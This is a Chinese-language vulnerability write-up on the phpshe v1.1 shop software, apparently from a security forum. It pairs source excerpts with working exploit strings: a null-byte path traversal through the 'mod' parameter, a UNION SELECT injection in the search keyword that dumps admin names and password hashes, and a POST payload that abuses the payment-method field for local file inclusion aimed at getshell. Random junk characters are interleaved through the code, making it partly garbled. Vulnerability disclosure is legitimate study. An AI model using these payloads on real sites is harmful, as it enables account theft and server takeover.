phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
' S0 b' Y7 j8 ?; D: t8 D+ i3 R/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
% x2 F$ l7 U) L6 u/* E-Mail : 681796@qq.com
. `8 Q) i5 Q. N/*******************************************************/
0×00 整体大概参数传输
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2 Z2 M3 O; n% o9 M+ w2 h//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
% m& O5 _6 r; j. K' V!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
& k8 }+ o' U( f1 S) T: Y, Z4 [!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
, u6 `( C" X. |! I3 X; [( H!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
3 |$ c. o- `& ], D3 j/ H# y}
. V+ d4 @& P* [# j$ U+ wsession_start();
, c( R; w! m  T. \2 F!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
3 Z/ s' j* f* {) ?; }- |

  N6 x: d$ N4 }% V, H9 }: N//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
9 q6 O! J% S% ?) Z" {, uinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
; j) y* d$ Y9 |! L//common 文件 第15行开始
0 x( F# U% O* x& I* f! S' curl路由配置
6 v, r0 D0 K8 ]# x) J( i) t$module = $mod = $act = 'index';
6 d! \; F: ?1 w7 P* M% t) U$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
+ ^; L4 I! e9 B1 z$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
6 q( O5 l9 W% [# _8 }7 n//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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8 c, G5 k. E6 B, C/ w 0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
4 ]& r4 s, a) Q" e; T$ Q0 B$category_id = intval($id);
1 k6 k/ [/ [1 Y3 m2 H3 m4 ?$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
( @3 B/ f6 Y. D& |$ [where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
# [! `3 a5 ^" f5 W1 N% s}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
0 x$ A4 M' r3 K! `$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
, J, D2 M/ n5 a: ~}
) a- e2 p! c, |) aelse {
5 n' X6 J7 P% n$sqlwhere .= " order by `product_id` desc";
6 v$ Y8 M2 F2 U- ^}
! x% R7 z: a. ?4 v% G$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
; @+ V! x. k% V$product_hotlist = product_hotlist();
//当前路径
2 Y3 ~" Z( Q& H" J$nowpath = category_path($category_id);
8 k5 j. P. M" Q: N! o9 ~$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
/ o* P9 |7 T5 W$ x' M//跟进selectall函数库
6 g4 {- a# P* V. M: `$ r1 Npublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
) n' J' @  D6 }0 e{
//处理条件语句
$ n% E0 P, X5 l$sqlwhere = $this->_dowhere($where);
8 w$ r# p" X5 k7 F" e6 h# Areturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
: r8 g; C2 V6 i6 {% w//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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) D. b) x! _+ o* s0×03 包含漏洞2

, s1 O& l$ U6 O& R<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

# i% H8 i$ }9 @6 E( w% d4 \" Jforeach($cache_payway as $k => $v) {

) c: l5 [$ [* n; _; ~8 l/ m* }$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

5 G$ q" y: L5 L$ \0 L$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

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) j0 W7 I4 G6 F/ \5 E$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

* M: h" ]0 i6 j7 |- c1 _" s' b!$order['order_id'] && pe_error('订单号错误...');

6 L- P+ m8 l  v; K) d5 Rif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

2 G( T' G. ?# O- ]9 @7 ~$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

6 D  x; O, T  |! U6 O( ^echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

5 J; b$ F, N9 m+ x+ C}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

$ h: {( z- r* x" _. [. j/ y}

$seo = pe_seo('选择支付方式');

8 f. U4 ^- S" ?* {; Oinclude(pe_tpl('order_pay.html'));

0 [, n  z/ k9 B2 v' U8 ^break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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